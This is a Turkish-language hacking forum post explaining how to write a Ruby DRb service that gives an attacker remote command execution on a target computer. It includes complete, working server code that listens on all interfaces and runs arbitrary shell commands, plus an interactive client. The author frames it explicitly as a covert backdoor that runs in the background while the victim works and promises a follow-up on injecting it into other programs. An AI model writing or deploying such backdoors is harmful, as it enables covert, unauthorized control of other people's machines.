Merhaba ben saldırı timlerinden Bunjo, bu konuda nasıl hedef bilgisayarda uzak kod çalıştırabileceğimiz bir servis kodlayabileceğimizi anlatacağım.
DRb Nedir?
DRb (Distributed Ruby), Ruby'de sunucu-istemci (server-client) tabanlı dağıtık sistemler oluşturmak için kullanılan bir kütüphanedir. DRb, Ruby nesnelerinin bir makine üzerindeki bir süreçten diğerine aktarılmasını ve uzaktan yönetilmesini sağlar. Bu, farklı Ruby programları arasında iletişim kurulmasına olanak tanır.
Bizde bu "uzak yönetim" olayından güzel bir şekilde yararlanacağız.
DRb Sunucusu Kodlanması
Ruby derleyicisini bilgisayarınıza kurarken bu "drb" gemi kurulu olarak gelir ve her sistemde sorunsuz şekilde çalışır, bu özelliklerden faydalanıp üstüne üstelik sunucuyu ayrı bir işlemci parçacığında yani kısacası arka planda çalıştıracağız. Hedef bilgisayar gönül rahatlığıyla programını kullanırken arkadan da bir anda biz onu kullanacağız.
Ruby:
require 'drb'
class RShell
def exec(cmd)
`#{cmd}`
end
end
DRb.start_service("druby://0.0.0.0:8080", RShell.new)
DRb.thread.join
Bu Ruby kodu, bir DRb (Distributed Ruby) istemcisini temsil eder. Bu istemci, belirli bir URI'ye (Uniform Resource Identifier) sahip olan bir DRb sunucuya bağlanır ve kullanıcıdan alınan komutları sunucuya gönderir. İşte saldırgan kişinin yani bizim çalıştıracağımız kod tam olarak bu kod.
require 'drb': Kodun DRb kütüphanesini kullanabilmesi için DRb kütüphanesini içeri aktarır.
class RShell: RShell adında bir sınıf tanımlanır. Bu sınıf, uzaktan komut yürütmek için kullanılacak olan metodu içerir.
def exec(cmd): exec adlı bir metot tanımlanır. Bu metot, alınan komutu çalıştırmak için sistem komutunu kullanır. Burada, Ruby'nin geri tırnak içindeki bir komutu çalıştırmak için kullanılan "" (backtick) syntax'ı ( #{cmd} `) kullanılır.
DRb.start_service("druby://0.0.0.0:8080", RShell.new): Bu satırda, DRb.start_service metodu kullanılarak DRb sunucusu başlatılır. Sunucu, 0.0.0.0 IP adresi ve 8080 port numarasında dinleme yapar. Ayrıca, RShell.new ile RShell sınıfından bir örnek oluşturularak, bu sunucunun uzaktan çağrılabilir metotlarını içeren bir nesne oluşturulur.
DRb.thread.join: Sunucu, bir başka iş parçacığında çalıştığı için bu kod satırı sunucunun çalışmasını sağlar ve ana programın sonlanmasını engeller.
Ruby:
require 'drb'
begin
rshell = DRbObject.new_with_uri("druby://localhost:8080")
loop do
STDOUT.print("Command: ")
command = gets
STDOUT.puts("\nOutput: ")
puts rshell.exec command
end
rescue => exception
STDOUT.puts(exception)
end
require 'drb': Kodun DRb kütüphanesini kullanabilmesi için DRb kütüphanesini içeri aktarır.
begin ve rescue: Bu blok, olası istisnaların ele alındığı bir bloktur. Eğer herhangi bir hata oluşursa, hatanın ayrıntılarını ekrana yazdırır.
rshell = DRbObject.new_with_uri("druby://localhost:8080"): Bu satırda, DRbObject.new_with_uri yöntemi kullanılarak belirli bir URI'ye sahip olan bir DRb sunucu nesnesi (rshell) oluşturulur. Bu nesne, belirtilen URI üzerindeki DRb sunucusuna bağlanmak için kullanılacaktır.
loop do ... end: Bu döngü içinde, kullanıcıdan sürekli olarak komut girişi alınır ve bu komut sunucuya gönderilir. Kullanıcı "exit" komutunu girene kadar bu döngü devam eder.
STDOUT.print("Command: "): Kullanıcıdan bir komut girmesini isteyen bir çıktı.
command = gets: Kullanıcının girdiği komutu alır.
STDOUT.puts("\nOutput: "): Sunucudan dönen çıktıyı belirtmek için bir çıktı.
puts rshell.exec command: rshell nesnesinin exec metodunu kullanarak, kullanıcının girdiği komutu sunucuya gönderir ve sunucudan dönen çıktıyı ekrana yazdırır.
Programın Test Aşaması
Hedef bilgisayar programı bilgisayarında çalıştırır.
Saldırgan programı bilgisayarında çalıştırır ve istediği komutu yollayıp çıktısını alır.
Yeni konularda başka bir programın içine enjekte etmeyi anlatacağım. Dış ağ için port açabilirsiniz.
Okuyan herkese teşekkür ederim.
Github: GitHub - thebunjo/RCE-Server
Son düzenleme: